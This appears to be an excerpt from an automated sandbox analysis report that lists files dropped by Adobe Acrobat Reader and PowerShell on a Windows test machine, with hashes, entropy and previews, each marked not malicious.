Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2446529235297135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJf+dPeUkwRe9:YvXKXhxoQsUTbdjgxOG28Ukee9
MD5:	6CB08EC3E72AA9F5E26D865DF3CF4DD9
SHA1:	06E4A14A662E58BDA7F15027B611BAD1188E0EE2
SHA-256:	1D999EA42681A5AD8A03FE09B2518BB9081CE7372A8F5744602AE6C906947C32
SHA-512:	64C23BC721810DEF2A5E716B805A07DC05E7F6ECA3B0FB9A9D49B1AA97B76F495FFC18BFA898860CCBAFD99B39A9A010A58DCD649AB6C6C5F0155609E9835253
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.242317041177916
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfbPtdPeUkwRe9:YvXKXhxoQsUTbdjgxOGDV8Ukee9
MD5:	0B689AF490C2BFF5E4CC972F66F3219C
SHA1:	807552FC25C6F24F1EF302D19F493C2EA0FE9AAB
SHA-256:	173D870511EEE2401EF2266398A421FAD3312BD3370460E421EB47BF23774FCE
SHA-512:	14707D6086BD82235D31E85772C7C80C08335A042FB8A21137EC736DF1AD6B266B166DA4EA24BCF4F5749272A0E9514CC201B7F26FB6E6893F1BA74A2BDBDC75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2462151400746535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJf21rPeUkwRe9:YvXKXhxoQsUTbdjgxOG+16Ukee9
MD5:	A1EA1BDEF5D6915B884FD9B72E08B95E
SHA1:	280C943B2B9072EFABA11040FA26B16A82EE9EBA
SHA-256:	736B5F1A23AF440699F9E9220D4DB7F96B31963A0894BE0BBCDA9F97AD0CA7FF
SHA-512:	338A8DFA44C1CD96303D1CEAC880046B4F3FB1C5EB80239A898EF23F6F1013812B66E046942B4E10622FE23093C890BD1AE6201D7EAEA84ECA174259F2988147
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6463364526344435
Encrypted:	false
SSDEEP:	24:Yv6XVsUX5mamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS1o:YvKswyBgkDMUJUAh8cvM1o
MD5:	778C59A04511B09BE30310AD1DC773B1
SHA1:	927462F3DE37371C3B229117946724DABA5BA3E7
SHA-256:	809BDFA2FE1DF04F720CE98F669F8DE64FB0C30641E3CE6F3B3CE46F4C4EC089
SHA-512:	A6E88E1D2ED68028F7B198BE2084F3A4DC9B0D7BBC76F76EBF58C6C85F68BFF2FEA7B85206D1A9DAE0C4A425E5C819607DBBE31F060C6EE0BBE39E852265BC6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.221160466223105
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJfshHHrPeUkwRe9:YvXKXhxoQsUTbdjgxOGUUUkee9
MD5:	35A95F3F603765460C8D43B4CD0756AC
SHA1:	247EF44F2D5E83550DC8780C7C3DD25E3B7C8ED9
SHA-256:	4DAC8A1CC1367553A6E04FD3CCDBDE51613A9F4B4A65DD7ADDE33F3E03858E30
SHA-512:	EB8C3EB64D355160D8F27F47041D8CEE73DCA174C29B1A8BC653B78BFAC36D07259E133CD9145B2F2F6E9F086BE577EEBB1148AE47CCBD94E83ABD5C6A814CAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.237279548284948
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNvyQRToQLYUXjb24kF0YsSJxxoAvJTqgFCrPeUkwRe9:YvXKXhxoQsUTbdjgxOGTq16Ukee9
MD5:	F2561C152CA8D49DCD6AA8F4AA3D0FD4
SHA1:	40CDE8B83C9C347B4356AACED8A4C39905E34B74
SHA-256:	4BE5726E8109013853D337C43D7541AF94FCD57E0DB750E9F729C25FFC0E328D
SHA-512:	4AD41B36BB7C4830968D2A813055E2BFDCDDAD9B7DA4E510CA28142C7A2CC9F844391354B5C4F7B2DE961D6283EE1B1372C8E620D75EF7F2D6960D4627D72C3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9aa65aac-bdee-4679-a0e6-0b2dc98e2fca","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736743387595,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138612240773083
Encrypted:	false
SSDEEP:	24:YFl/IayayUJ7RjcDhYFXK3QTTnfMZgGJjp+j0S/8729l/2LSxCO4083YlBM6ZLsD:Y/xRRQDitKgsWmeXnT8IbM6ZoQh9c
MD5:	534DA0E89381775DC26AFA73306046DB
SHA1:	80A8C2662BDAC06283F934856140BA867A37A0A6
SHA-256:	85AC2BC70D9204B3F4954DD9A3B373943D26880031D4E241CD1B8EFBD54FA912
SHA-512:	B8E81286BA4A0BF12C01CEC787FB0531F0D624DF5E0A7EF1438B8CAF550B205BA9EFE1A2E6E3C9E8ED6D28BED53F5E20DA1187AEAD58C358AF5B6CC7B6B7B999
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"32ca821db9c79de357bfe692ed3c9d34","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736566522000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"99818008d5f5d602b092dd3f6d812454","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736566522000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6cd52bd94634be60718f7d2eaee9a482","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736566522000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"52ae505cba0a5bcc0b9a4fd6e8c41439","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736566522000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ee0ecf2c49a0f53cdeff461b9bc8d577","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736566521000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d04958fd4d568ea5b88272846fb5a4b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3196595852328012
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YyU1+EXSqXu:TGufl2GL7msUKB0M0+Tb608Yyrr6y
MD5:	6FC894200ECAB8DC6D822FD92E5AA84A
SHA1:	34A9A65CA65275D5D1F7E3938CFCF513226714A1
SHA-256:	68407C01687C74157CE8F309E337A8A96E5DEBC132DF8DF586444DCA7A769A3A
SHA-512:	17A65DAD4AE0FD2D9A6EB26EC50A18E1354E730DFB77FFE7424048FE51FD8E45F6FEA0D6BEB2CEC5D245C7BDBE26FDC4FD555990E05BB0EFBC2C42E85D655CE5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7830223693636458
Encrypted:	false
SSDEEP:	24:7+trl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YyU1/EXSqXlyGKaiTqLhx/XYKQC:7M1KB0M0+Tb608YySrGKfqFl2GL7msB
MD5:	B2B7FC3ED525A31E033A2A0768AA18A4
SHA1:	33ACAB6618FC6B8C2317457DFB65D22503858307
SHA-256:	FBD6C71D693737E4EF1C47E092BAE162234F1CE167DB0AA0E8C481500F79A644
SHA-512:	33EA2256C3F39227D401D1ABD0A466E9D21E0940E79510F5CEB679D5E4795AF4A9E23337D606CE38119FC9E49A6E8A09A5E693A7498168199632223BA7441C13
Malicious:	false
Preview:	.... .c.....{.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg8LVfP9rc8DnGvkRhcqtceOkGYyu:6a6TZ44ADE8LlZc8DGv8GkGK
MD5:	5A623A32FB22F38EF68A9C4A6CC506CF
SHA1:	D9D7B978F92F0B71B40DCEBC66E1E77EC46A223D
SHA-256:	CD6057DA5AA5169061873E872BF102D6384EB9B9318EBE3306748F2338697FFA
SHA-512:	746DF8BF60790C92AF797E3D0E704787069E9052D3DF2DDEFB3A43D33773B34D1C378D082FFA2921565D4FDD30462D0EC857C2AB24FBECAA0948DDEA38744BB8
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI2c14d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClUlQtrCH:Qw946cPbiOxDlbYnuRK+bLKtU
MD5:	68BE9CAE643CAD1F16071699BECB08CB
SHA1:	DCD4D86146AF2C16EE17B1BF9DEE65896D099A2A
SHA-256:	E8CB6D2047490D0AE67EDF5C9238BA0930ECCED122CE870B66D0BAA5E31ADBBA
SHA-512:	7B986897017D62661B9CEDBE428698D1AE2042CC4DC6E5A394C8EE160A2F28B660460E380F18C91C1396D69195950E8432C64F7E82E2495B271767CDE8681712
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.3.5.:.2.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5upgoaxj.y0j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nxbkmwdb.mg3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A98bvvgi_1cxi3jx_4k4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-35-17-405.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.368860418006479
Encrypted:	false
SSDEEP:	384:Sz1/cOtPKVEytUDRUKe9gCRoEXG7LUMbLU3rJBx0m8j4Oos2WxRjMrMZAJjkt0ED:+Pl
MD5:	0492D58BC8EBD83D4DB7DC173E6FCB8E
SHA1:	1DEE70378B96DF9A81CE0BF38E6D4D3DEAC0EB12
SHA-256:	9D81AA695A81B169C6A68D485446037C8E02D7F2A79F2674DBE3D68C26D9A8AD
SHA-512:	06EA13D8B9F64BC2EAEBE68FBDE620ED07988ABDF4103A4E2E6A7F3A23E5A7C74A239D04677C86D67E0775FF9823E4397C649CCC2FEADE6A7F7CEAAEA2D1652B
Malicious:	false
Preview:	SessionID=4851820d-0ecc-408d-9314-904f233b869f.1736566517419 Timestamp=2025-01-10T22:35:17:419-0500 ThreadID=8484 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4851820d-0ecc-408d-9314-904f233b869f.1736566517419 Timestamp=2025-01-10T22:35:17:420-0500 ThreadID=8484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4851820d-0ecc-408d-9314-904f233b869f.1736566517419 Timestamp=2025-01-10T22:35:17:420-0500 ThreadID=8484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4851820d-0ecc-408d-9314-904f233b869f.1736566517419 Timestamp=2025-01-10T22:35:17:421-0500 ThreadID=8484 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4851820d-0ecc-408d-9314-904f233b869f.1736566517419 Timestamp=2025-01-10T22:35:17:421-0500 ThreadID=8484 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399531996968448
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmr:EGvIcNYd66ZltjW
MD5:	3E3C7003BD79D910902F52D0BBE6B123
SHA1:	4BB962DB6CE721D4FE9684FE1178FE03308F423A
SHA-256:	6245B1671C7B71E0022EDC2C9BE8F6C110BF0F59C93CB4484193F2B5781004E5
SHA-512:	6B9512415FA90CF282C57201F8A8ED0747AF83E09F21AD89ACD683C7F6BB55BE33FF920C3852151ED0CAA8B9709A8221D33C3091163CEA5E6B922AAF010D82E7
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\143f7349-2896-4f18-92b4-5195ea5499cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
